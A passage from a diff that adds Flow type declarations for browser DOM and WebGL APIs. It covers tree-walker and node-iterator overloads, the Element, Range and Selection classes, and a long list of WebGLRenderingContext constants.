+  ): NodeIterator<RootNodeT, DocumentFragment | Element>;
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1028,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentFragment | Text>;
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1029,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentFragment | Element | Text>;
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1152,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentFragment | Comment>;
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1153,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentFragment | Element | Comment>;
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1156,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentFragment | Text | Comment>;
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1157,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentFragment | Element | Text | Comment>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1024,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1025,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment | Element>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1028,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment | Text>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1029,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment | Element | Text>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1152,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment | Comment>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1153,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment | Element | Comment>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1156,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment | Text | Comment>;
+  createTreeWalker<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1157,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentFragment | Element | Text | Comment>;
+
+  // In the general case, RootNodeT may be any Node and whatToShow may be
+  // NodeFilter.SHOW_ALL or any combination of NodeFilter.SHOW_ELEMENT,
+  // NodeFilter.SHOW_TEXT and/or NodeFilter.SHOW_COMMENT
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 1,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Element>;
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 4,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Text>;
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 5,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Element | Text>;
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 128,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Comment>;
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 129,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Element | Comment>;
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 132,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Text | Comment>;
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 133,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Text | Element | Comment>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 1,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Element>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 4,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Text>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 5,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Element | Text>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 128,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Comment>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 129,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Element | Comment>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 132,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Text | Comment>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow: 133,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Text | Element | Comment>;
+
+  // Catch all for when we don't know the value of `whatToShow`
+  // And for when whatToShow is not provided, it is assumed to be SHOW_ALL
+  createNodeIterator<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow?: number,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Node>;
+  createTreeWalker<RootNodeT: Node>(
+    root: RootNodeT,
+    whatToShow?: number,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Node>;
+
+  // From NonElementParentNode Mixin.
+  getElementById(elementId: string): HTMLElement | null;
+
+  // From DocumentOrShadowRoot Mixin.
+  +styleSheets: StyleSheetList;
+  adoptedStyleSheets: Array<CSSStyleSheet>;
+}
+
+declare class DocumentFragment extends Node {
+  // from ParentNode interface
+  childElementCount: number;
+  children: HTMLCollection<HTMLElement>;
+  firstElementChild: ?Element;
+  lastElementChild: ?Element;
+  append(...nodes: Array<string | Node>): void;
+  prepend(...nodes: Array<string | Node>): void;
+
+  querySelector(selector: string): HTMLElement | null;
+  querySelectorAll(selector: string): NodeList<HTMLElement>;
+
+  // From NonElementParentNode Mixin.
+  getElementById(elementId: string): HTMLElement | null;
+}
+
+declare class Selection {
+  anchorNode: Node | null;
+  anchorOffset: number;
+  focusNode: Node | null;
+  focusOffset: number;
+  isCollapsed: boolean;
+  rangeCount: number;
+  type: string;
+  addRange(range: Range): void;
+  getRangeAt(index: number): Range;
+  removeRange(range: Range): void;
+  removeAllRanges(): void;
+  collapse(parentNode: Node | null, offset?: number): void;
+  collapseToStart(): void;
+  collapseToEnd(): void;
+  containsNode(aNode: Node, aPartlyContained?: boolean): boolean;
+  deleteFromDocument(): void;
+  extend(parentNode: Node, offset?: number): void;
+  empty(): void;
+  selectAllChildren(parentNode: Node): void;
+  setPosition(aNode: Node | null, offset?: number): void;
+  setBaseAndExtent(
+    anchorNode: Node,
+    anchorOffset: number,
+    focusNode: Node,
+    focusOffset: number
+  ): void;
+  toString(): string;
+}
+
+declare class Range {
+  // extension
+  startOffset: number;
+  collapsed: boolean;
+  endOffset: number;
+  startContainer: Node;
+  endContainer: Node;
+  commonAncestorContainer: Node;
+  setStart(refNode: Node, offset: number): void;
+  setEndBefore(refNode: Node): void;
+  setStartBefore(refNode: Node): void;
+  selectNode(refNode: Node): void;
+  detach(): void;
+  getBoundingClientRect(): DOMRect;
+  toString(): string;
+  compareBoundaryPoints(how: number, sourceRange: Range): number;
+  insertNode(newNode: Node): void;
+  collapse(toStart: boolean): void;
+  selectNodeContents(refNode: Node): void;
+  cloneContents(): DocumentFragment;
+  setEnd(refNode: Node, offset: number): void;
+  cloneRange(): Range;
+  getClientRects(): DOMRectList;
+  surroundContents(newParent: Node): void;
+  deleteContents(): void;
+  setStartAfter(refNode: Node): void;
+  extractContents(): DocumentFragment;
+  setEndAfter(refNode: Node): void;
+  createContextualFragment(fragment: string | TrustedHTML): DocumentFragment;
+  intersectsNode(refNode: Node): boolean;
+  isPointInRange(refNode: Node, offset: number): boolean;
+  static END_TO_END: number;
+  static START_TO_START: number;
+  static START_TO_END: number;
+  static END_TO_START: number;
+}
+
+declare var document: Document;
+
+declare class DOMTokenList {
+  @@iterator(): Iterator<string>;
+  length: number;
+  item(index: number): string;
+  contains(token: string): boolean;
+  add(...token: Array<string>): void;
+  remove(...token: Array<string>): void;
+  toggle(token: string, force?: boolean): boolean;
+  replace(oldToken: string, newToken: string): boolean;
+
+  forEach(
+    callbackfn: (value: string, index: number, list: DOMTokenList) => any,
+    thisArg?: any
+  ): void;
+  entries(): Iterator<[number, string]>;
+  keys(): Iterator<number>;
+  values(): Iterator<string>;
+  [index: number]: string;
+}
+
+declare class Element extends Node mixins mixin$Animatable {
+  assignedSlot: ?HTMLSlotElement;
+  attachShadow(shadowRootInitDict: ShadowRootInit): ShadowRoot;
+  attributes: NamedNodeMap;
+  classList: DOMTokenList;
+  className: string;
+  clientHeight: number;
+  clientLeft: number;
+  clientTop: number;
+  clientWidth: number;
+  id: string;
+  // flowlint unsafe-getters-setters:off
+  get innerHTML(): string;
+  set innerHTML(value: string | TrustedHTML): void;
+  // flowlint unsafe-getters-setters:error
+  localName: string;
+  namespaceURI: ?string;
+  nextElementSibling: ?Element;
+  // flowlint unsafe-getters-setters:off
+  get outerHTML(): string;
+  set outerHTML(value: string | TrustedHTML): void;
+  // flowlint unsafe-getters-setters:error
+  prefix: string | null;
+  previousElementSibling: ?Element;
+  scrollHeight: number;
+  scrollLeft: number;
+  scrollTop: number;
+  scrollWidth: number;
+  +tagName: string;
+
+  // TODO: a lot more ARIA properties
+  ariaHidden: void | 'true' | 'false';
+
+  closest(selectors: string): ?Element;
+
+  getAttribute(name?: string): ?string;
+  getAttributeNames(): Array<string>;
+  getAttributeNS(namespaceURI: string | null, localName: string): string | null;
+  getAttributeNode(name: string): Attr | null;
+  getAttributeNodeNS(
+    namespaceURI: string | null,
+    localName: string
+  ): Attr | null;
+  getBoundingClientRect(): DOMRect;
+  getClientRects(): DOMRectList;
+  getElementsByClassName(names: string): HTMLCollection<HTMLElement>;
+  getElementsByTagName<TName: $Keys<HTMLElementTagNameMap>>(
+    qualifiedName: TName
+  ): HTMLCollection<HTMLElementTagNameMap[TName]>;
+  getElementsByTagNameNS<TName: $Keys<HTMLElementTagNameMap>>(
+    namespaceURI: 'http://www.w3.org/1999/xhtml',
+    qualifiedName: TName
+  ): HTMLCollection<HTMLElementTagNameMap[TName]>;
+  getElementsByTagNameNS(
+    namespaceURI: string | null,
+    qualifiedName: string
+  ): HTMLCollection<Element>;
+
+  hasAttribute(name: string): boolean;
+  hasAttributeNS(namespaceURI: string | null, localName: string): boolean;
+  hasAttributes(): boolean;
+  hasPointerCapture(pointerId: number): boolean;
+  insertAdjacentElement(
+    position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend',
+    element: Element
+  ): void;
+  insertAdjacentHTML(
+    position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend',
+    html: string | TrustedHTML
+  ): void;
+  insertAdjacentText(
+    position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend',
+    text: string
+  ): void;
+  matches(selector: string): boolean;
+  releasePointerCapture(pointerId: number): void;
+  removeAttribute(name?: string): void;
+  removeAttributeNode(attributeNode: Attr): Attr;
+  removeAttributeNS(namespaceURI: string | null, localName: string): void;
+  requestFullscreen(options?: {
+    navigationUI: 'auto' | 'show' | 'hide',
+    ...
+  }): Promise<void>;
+  requestPointerLock(): void;
+  scrollIntoView(
+    arg?:
+      | boolean
+      | {
+          behavior?: 'auto' | 'instant' | 'smooth',
+          block?: 'start' | 'center' | 'end' | 'nearest',
+          inline?: 'start' | 'center' | 'end' | 'nearest',
+          ...
+        }
+  ): void;
+  scroll(x: number, y: number): void;
+  scroll(options: ScrollToOptions): void;
+  scrollTo(x: number, y: number): void;
+  scrollTo(options: ScrollToOptions): void;
+  scrollBy(x: number, y: number): void;
+  scrollBy(options: ScrollToOptions): void;
+  setAttribute(name?: string, value?: string): void;
+  toggleAttribute(name?: string, force?: boolean): void;
+  setAttributeNS(
+    namespaceURI: string | null,
+    qualifiedName: string,
+    value: string
+  ): void;
+  setAttributeNode(newAttr: Attr): Attr | null;
+  setAttributeNodeNS(newAttr: Attr): Attr | null;
+  setPointerCapture(pointerId: number): void;
+  shadowRoot?: ShadowRoot;
+  slot?: string;
+
+  // from ParentNode interface
+  childElementCount: number;
+  children: HTMLCollection<HTMLElement>;
+  firstElementChild: ?Element;
+  lastElementChild: ?Element;
+  append(...nodes: Array<string | Node>): void;
+  prepend(...nodes: Array<string | Node>): void;
+
+  querySelector<TSelector: $Keys<HTMLElementTagNameMap>>(
+    selector: TSelector
+  ): HTMLElementTagNameMap[TSelector] | null;
+  querySelectorAll<TSelector: $Keys<HTMLElementTagNameMap>>(
+    selector: TSelector
+  ): NodeList<HTMLElementTagNameMap[TSelector]>;
+
+  // from ChildNode interface
+  after(...nodes: Array<string | Node>): void;
+  before(...nodes: Array<string | Node>): void;
+  replaceWith(...nodes: Array<string | Node>): void;
+  remove(): void;
+}
+
+declare class HitRegionOptions {
+  path?: Path2D;
+  fillRule?: CanvasFillRule;
+  id?: string;
+  parentID?: string;
+  cursor?: string;
+  control?: Element;
+  label: ?string;
+  role: ?string;
+}
+
+declare class SVGMatrix {
+  getComponent(index: number): number;
+  mMultiply(secondMatrix: SVGMatrix): SVGMatrix;
+  inverse(): SVGMatrix;
+  mTranslate(x: number, y: number): SVGMatrix;
+  mScale(scaleFactor: number): SVGMatrix;
+  mRotate(angle: number): SVGMatrix;
+}
+
+// WebGL idl: https://www.khronos.org/registry/webgl/specs/latest/1.0/webgl.idl
+
+type WebGLContextAttributes = {
+  alpha: boolean,
+  depth: boolean,
+  stencil: boolean,
+  antialias: boolean,
+  premultipliedAlpha: boolean,
+  preserveDrawingBuffer: boolean,
+  preferLowPowerToHighPerformance: boolean,
+  failIfMajorPerformanceCaveat: boolean,
+  ...
+};
+
+interface WebGLObject {}
+
+interface WebGLBuffer extends WebGLObject {}
+
+interface WebGLFramebuffer extends WebGLObject {}
+
+interface WebGLProgram extends WebGLObject {}
+
+interface WebGLRenderbuffer extends WebGLObject {}
+
+interface WebGLShader extends WebGLObject {}
+
+interface WebGLTexture extends WebGLObject {}
+
+interface WebGLUniformLocation {}
+
+interface WebGLActiveInfo {
+  size: number;
+  type: number;
+  name: string;
+}
+
+interface WebGLShaderPrecisionFormat {
+  rangeMin: number;
+  rangeMax: number;
+  precision: number;
+}
+
+type BufferDataSource = ArrayBuffer | $ArrayBufferView;
+
+type TexImageSource =
+  | ImageBitmap
+  | ImageData
+  | HTMLImageElement
+  | HTMLCanvasElement
+  | HTMLVideoElement;
+
+type VertexAttribFVSource = Float32Array | Array<number>;
+
+/* flow */
+declare class WebGLRenderingContext {
+  static DEPTH_BUFFER_BIT: 0x00000100;
+  DEPTH_BUFFER_BIT: 0x00000100;
+  static STENCIL_BUFFER_BIT: 0x00000400;
+  STENCIL_BUFFER_BIT: 0x00000400;
+  static COLOR_BUFFER_BIT: 0x00004000;
+  COLOR_BUFFER_BIT: 0x00004000;
+  static POINTS: 0x0000;
+  POINTS: 0x0000;
+  static LINES: 0x0001;
+  LINES: 0x0001;
+  static LINE_LOOP: 0x0002;
+  LINE_LOOP: 0x0002;
+  static LINE_STRIP: 0x0003;
+  LINE_STRIP: 0x0003;
+  static TRIANGLES: 0x0004;
+  TRIANGLES: 0x0004;
+  static TRIANGLE_STRIP: 0x0005;
+  TRIANGLE_STRIP: 0x0005;
+  static TRIANGLE_FAN: 0x0006;
+  TRIANGLE_FAN: 0x0006;
+  static ZERO: 0;
+  ZERO: 0;
+  static ONE: 1;
+  ONE: 1;
+  static SRC_COLOR: 0x0300;
+  SRC_COLOR: 0x0300;
+  static ONE_MINUS_SRC_COLOR: 0x0301;
+  ONE_MINUS_SRC_COLOR: 0x0301;
+  static SRC_ALPHA: 0x0302;
+  SRC_ALPHA: 0x0302;
+  static ONE_MINUS_SRC_ALPHA: 0x0303;
+  ONE_MINUS_SRC_ALPHA: 0x0303;
+  static DST_ALPHA: 0x0304;
+  DST_ALPHA: 0x0304;
+  static ONE_MINUS_DST_ALPHA: 0x0305;
+  ONE_MINUS_DST_ALPHA: 0x0305;
+  static DST_COLOR: 0x0306;
+  DST_COLOR: 0x0306;
+  static ONE_MINUS_DST_COLOR: 0x0307;
+  ONE_MINUS_DST_COLOR: 0x0307;
+  static SRC_ALPHA_SATURATE: 0x0308;
+  SRC_ALPHA_SATURATE: 0x0308;
+  static FUNC_ADD: 0x8006;
+  FUNC_ADD: 0x8006;
+  static BLEND_EQUATION: 0x8009;
+  BLEND_EQUATION: 0x8009;
+  static BLEND_EQUATION_RGB: 0x8009;
+  BLEND_EQUATION_RGB: 0x8009;
+  static BLEND_EQUATION_ALPHA: 0x883d;
+  BLEND_EQUATION_ALPHA: 0x883d;
+  static FUNC_SUBTRACT: 0x800a;
+  FUNC_SUBTRACT: 0x800a;
+  static FUNC_REVERSE_SUBTRACT: 0x800b;
+  FUNC_REVERSE_SUBTRACT: 0x800b;
+  static BLEND_DST_RGB: 0x80c8;
+  BLEND_DST_RGB: 0x80c8;
+  static BLEND_SRC_RGB: 0x80c9;
+  BLEND_SRC_RGB: 0x80c9;
+  static BLEND_DST_ALPHA: 0x80ca;
+  BLEND_DST_ALPHA: 0x80ca;
+  static BLEND_SRC_ALPHA: 0x80cb;
+  BLEND_SRC_ALPHA: 0x80cb;
+  static CONSTANT_COLOR: 0x8001;
+  CONSTANT_COLOR: 0x8001;
+  static ONE_MINUS_CONSTANT_COLOR: 0x8002;
+  ONE_MINUS_CONSTANT_COLOR: 0x8002;
+  static CONSTANT_ALPHA: 0x8003;
+  CONSTANT_ALPHA: 0x8003;
+  static ONE_MINUS_CONSTANT_ALPHA: 0x8004;
+  ONE_MINUS_CONSTANT_ALPHA: 0x8004;
+  static BLEND_COLOR: 0x8005;
+  BLEND_COLOR: 0x8005;
+  static ARRAY_BUFFER: 0x8892;
+  ARRAY_BUFFER: 0x8892;
+  static ELEMENT_ARRAY_BUFFER: 0x8893;
+  ELEMENT_ARRAY_BUFFER: 0x8893;
+  static ARRAY_BUFFER_BINDING: 0x8894;
+  ARRAY_BUFFER_BINDING: 0x8894;
+  static ELEMENT_ARRAY_BUFFER_BINDING: 0x8895;
+  ELEMENT_ARRAY_BUFFER_BINDING: 0x8895;
+  static STREAM_DRAW: 0x88e0;
+  STREAM_DRAW: 0x88e0;
+  static STATIC_DRAW: 0x88e4;
+  STATIC_DRAW: 0x88e4;
+  static DYNAMIC_DRAW: 0x88e8;
+  DYNAMIC_DRAW: 0x88e8;
+  static BUFFER_SIZE: 0x8764;
+  BUFFER_SIZE: 0x8764;
+  static BUFFER_USAGE: 0x8765;
+  BUFFER_USAGE: 0x8765;
+  static CURRENT_VERTEX_ATTRIB: 0x8626;
+  CURRENT_VERTEX_ATTRIB: 0x8626;
+  static FRONT: 0x0404;
+  FRONT: 0x0404;
+  static BACK: 0x0405;
+  BACK: 0x0405;
+  static FRONT_AND_BACK: 0x0408;
+  FRONT_AND_BACK: 0x0408;
+  static CULL_FACE: 0x0b44;
+  CULL_FACE: 0x0b44;
+  static BLEND: 0x0be2;
+  BLEND: 0x0be2;
+  static DITHER: 0x0bd0;
+  DITHER: 0x0bd0;
+  static STENCIL_TEST: 0x0b90;
+  STENCIL_TEST: 0x0b90;
+  static DEPTH_TEST: 0x0b71;
+  DEPTH_TEST: 0x0b71;
+  static SCISSOR_TEST: 0x0c11;
+  SCISSOR_TEST: 0x0c11;
+  static POLYGON_OFFSET_FILL: 0x8037;
+  POLYGON_OFFSET_FILL: 0x8037;
+  static SAMPLE_ALPHA_TO_COVERAGE: 0x809e;
+  SAMPLE_ALPHA_TO_COVERAGE: 0x809e;
+  static SAMPLE_COVERAGE: 0x80a0;
+  SAMPLE_COVERAGE: 0x80a0;
+  static NO_ERROR: 0;
+  NO_ERROR: 0;
+  static INVALID_ENUM: 0x0500;
+  INVALID_ENUM: 0x0500;
+  static INVALID_VALUE: 0x0501;
+  INVALID_VALUE: 0x0501;
+  static INVALID_OPERATION: 0x0502;
+  INVALID_OPERATION: 0x0502;
+  static OUT_OF_MEMORY: 0x0505;
+  OUT_OF_MEMORY: 0x0505;
+  static CW: 0x0900;
+  CW: 0x0900;
+  static CCW: 0x0901;
+  CCW: 0x0901;
+  static LINE_WIDTH: 0x0b21;
+  LINE_WIDTH: 0x0b21;
+  static ALIASED_POINT_SIZE_RANGE: 0x846d;
+  ALIASED_POINT_SIZE_RANGE: 0x846d;
+  static ALIASED_LINE_WIDTH_RANGE: 0x846e;
+  ALIASED_LINE_WIDTH_RANGE: 0x846e;
+  static CULL_FACE_MODE: 0x0b45;
+  CULL_FACE_MODE: 0x0b45;
+  static FRONT_FACE: 0x0b46;
+  FRONT_FACE: 0x0b46;
+  static DEPTH_RANGE: 0x0b70;
+  DEPTH_RANGE: 0x0b70;
+  static DEPTH_WRITEMASK: 0x0b72;
+  DEPTH_WRITEMASK: 0x0b72;
+  static DEPTH_CLEAR_VALUE: 0x0b73;
+  DEPTH_CLEAR_VALUE: 0x0b73;
+  static DEPTH_FUNC: 0x0b74;
+  DEPTH_FUNC: 0x0b74;
+  static STENCIL_CLEAR_VALUE: 0x0b91;
+  STENCIL_CLEAR_VALUE: 0x0b91;
+  static STENCIL_FUNC: 0x0b92;
+  STENCIL_FUNC: 0x0b92;
+  static STENCIL_FAIL: 0x0b94;
+  STENCIL_FAIL: 0x0b94;
+  static STENCIL_PASS_DEPTH_FAIL: 0x0b95;
+  STENCIL_PASS_DEPTH_FAIL: 0x0b95;
+  static STENCIL_PASS_DEPTH_PASS: 0x0b96;
+  STENCIL_PASS_DEPTH_PASS: 0x0b96;
+  static STENCIL_REF: 0x0b97;
+  STENCIL_REF: 0x0b97;
+  static STENCIL_VALUE_MASK: 0x0b93;
+  STENCIL_VALUE_MASK: 0x0b93;
+  static STENCIL_WRITEMASK: 0x0b98;
+  STENCIL_WRITEMASK: 0x0b98;
+  static STENCIL_BACK_FUNC: 0x8800;
+  STENCIL_BACK_FUNC: 0x8800;
+  static STENCIL_BACK_FAIL: 0x8801;
+  STENCIL_BACK_FAIL: 0x8801;
+  static STENCIL_BACK_PASS_DEPTH_FAIL: 0x8802;
+  STENCIL_BACK_PASS_DEPTH_FAIL: 0x8802;
+  static STENCIL_BACK_PASS_DEPTH_PASS: 0x8803;
+  STENCIL_BACK_PASS_DEPTH_PASS: 0x8803;
+  static STENCIL_BACK_REF: 0x8ca3;
+  STENCIL_BACK_REF: 0x8ca3;
+  static STENCIL_BACK_VALUE_MASK: 0x8ca4;
+  STENCIL_BACK_VALUE_MASK: 0x8ca4;
+  static STENCIL_BACK_WRITEMASK: 0x8ca5;
+  STENCIL_BACK_WRITEMASK: 0x8ca5;
+  static VIEWPORT: 0x0ba2;
+  VIEWPORT: 0x0ba2;
+  static SCISSOR_BOX: 0x0c10;
+  SCISSOR_BOX: 0x0c10;
+  static COLOR_CLEAR_VALUE: 0x0c22;
+  COLOR_CLEAR_VALUE: 0x0c22;
+  static COLOR_WRITEMASK: 0x0c23;
+  COLOR_WRITEMASK: 0x0c23;
+  static UNPACK_ALIGNMENT: 0x0cf5;
+  UNPACK_ALIGNMENT: 0x0cf5;
+  static PACK_ALIGNMENT: 0x0d05;
+  PACK_ALIGNMENT: 0x0d05;
+  static MAX_TEXTURE_SIZE: 0x0d33;
+  MAX_TEXTURE_SIZE: 0x0d33;
+  static MAX_VIEWPORT_DIMS: 0x0d3a;
+  MAX_VIEWPORT_DIMS: 0x0d3a;
+  static SUBPIXEL_BITS: 0x0d50;
+  SUBPIXEL_BITS: 0x0d50;
+  static RED_BITS: 0x0d52;
+  RED_BITS: 0x0d52;
+  static GREEN_BITS: 0x0d53;
+  GREEN_BITS: 0x0d53;
+  static BLUE_BITS: 0x0d54;
+  BLUE_BITS: 0x0d54;
+  static ALPHA_BITS: 0x0d55;
+  ALPHA_BITS: 0x0d55;
+  static DEPTH_BITS: 0x0d56;
+  DEPTH_BITS: 0x0d56;
+  static STENCIL_BITS: 0x0d57;
+  STENCIL_BITS: 0x0d57;
+  static POLYGON_OFFSET_UNITS: 0x2a00;
+  POLYGON_OFFSET_UNITS: 0x2a00;
+  static POLYGON_OFFSET_FACTOR: 0x8038;
+  POLYGON_OFFSET_FACTOR: 0x8038;
+  static TEXTURE_BINDING_2D: 0x8069;
+  TEXTURE_BINDING_2D: 0x8069;
+  static SAMPLE_BUFFERS: 0x80a8;
+  SAMPLE_BUFFERS: 0x80a8;
+  static SAMPLES: 0x80a9;
+  SAMPLES: 0x80a9;
+  static SAMPLE_COVERAGE_VALUE: 0x80aa;
+  SAMPLE_COVERAGE_VALUE: 0x80aa;
+  static SAMPLE_COVERAGE_INVERT: 0x80ab;
+  SAMPLE_COVERAGE_INVERT: 0x80ab;
+  static COMPRESSED_TEXTURE_FORMATS: 0x86a3;
+  COMPRESSED_TEXTURE_FORMATS: 0x86a3;
+  static DONT_CARE: 0x1100;
+  DONT_CARE: 0x1100;
+  static FASTEST: 0x1101;
+  FASTEST: 0x1101;
+  static NICEST: 0x1102;
+  NICEST: 0x1102;
+  static GENERATE_MIPMAP_HINT: 0x8192;
+  GENERATE_MIPMAP_HINT: 0x8192;
+  static BYTE: 0x1400;
+  BYTE: 0x1400;
+  static UNSIGNED_BYTE: 0x1401;
+  UNSIGNED_BYTE: 0x1401;
+  static SHORT: 0x1402;
+  SHORT: 0x1402;
+  static UNSIGNED_SHORT: 0x1403;
+  UNSIGNED_SHORT: 0x1403;
+  static INT: 0x1404;
+  INT: 0x1404;
+  static UNSIGNED_INT: 0x1405;
+  UNSIGNED_INT: 0x1405;
+  static FLOAT: 0x1406;
+  FLOAT: 0x1406;
+  static DEPTH_COMPONENT: 0x1902;
+  DEPTH_COMPONENT: 0x1902;
+  static ALPHA: 0x1906;
+  ALPHA: 0x1906;
+  static RGB: 0x1907;
+  RGB: 0x1907;
+  static RGBA: 0x1908;
+  RGBA: 0x1908;
+  static LUMINANCE: 0x1909;
+  LUMINANCE: 0x1909;
+  static LUMINANCE_ALPHA: 0x190a;
+  LUMINANCE_ALPHA: 0x190a;
+  static UNSIGNED_SHORT_4_4_4_4: 0x8033;
+  UNSIGNED_SHORT_4_4_4_4: 0x8033;
+  static UNSIGNED_SHORT_5_5_5_1: 0x8034;
+  UNSIGNED_SHORT_5_5_5_1: 0x8034;
+  static UNSIGNED_SHORT_5_6_5: 0x8363;
+  UNSIGNED_SHORT_5_6_5: 0x8363;
+  static FRAGMENT_SHADER: 0x8b30;
+  FRAGMENT_SHADER: 0x8b30;
+  static VERTEX_SHADER: 0x8b31;
+  VERTEX_SHADER: 0x8b31;
+  static MAX_VERTEX_ATTRIBS: 0x8869;
+  MAX_VERTEX_ATTRIBS: 0x8869;
+  static MAX_VERTEX_UNIFORM_VECTORS: 0x8dfb;
+  MAX_VERTEX_UNIFORM_VECTORS: 0x8dfb;
+  static MAX_VARYING_VECTORS: 0x8dfc;
+  MAX_VARYING_VECTORS: 0x8dfc;
+  static MAX_COMBINED_TEXTURE_IMAGE_UNITS: 0x8b4d;
+  MAX_COMBINED_TEXTURE_IMAGE_UNITS: 0x8b4d;
+  static MAX_VERTEX_TEXTURE_IMAGE_UNITS: 0x8b4c;
+  MAX_VERTEX_TEXTURE_IMAGE_UNITS: 0x8b4c;
+  static MAX_TEXTURE_IMAGE_UNITS: 0x8872;
+  MAX_TEXTURE_IMAGE_UNITS: 0x8872;
+  static MAX_FRAGMENT_UNIFORM_VECTORS: 0x8dfd;
+  MAX_FRAGMENT_UNIFORM_VECTORS: 0x8dfd;
+  static SHADER_TYPE: 0x8b4f;
+  SHADER_TYPE: 0x8b4f;
+  static DELETE_STATUS: 0x8b80;
+  DELETE_STATUS: 0x8b80;
+  static LINK_STATUS: 0x8b82;
+  LINK_STATUS: 0x8b82;
+  static VALIDATE_STATUS: 0x8b83;
+  VALIDATE_STATUS: 0x8b83;
+  static ATTACHED_SHADERS: 0x8b85;
+  ATTACHED_SHADERS: 0x8b85;
+  static ACTIVE_UNIFORMS: 0x8b86;
+  ACTIVE_UNIFORMS: 0x8b86;
+  static ACTIVE_ATTRIBUTES: 0x8b89;
+  ACTIVE_ATTRIBUTES: 0x8b89;
+  static SHADING_LANGUAGE_VERSION: 0x8b8c;
+  SHADING_LANGUAGE_VERSION: 0x8b8c;
+  static CURRENT_PROGRAM: 0x8b8d;
+  CURRENT_PROGRAM: 0x8b8d;
+  static NEVER: 0x0200;
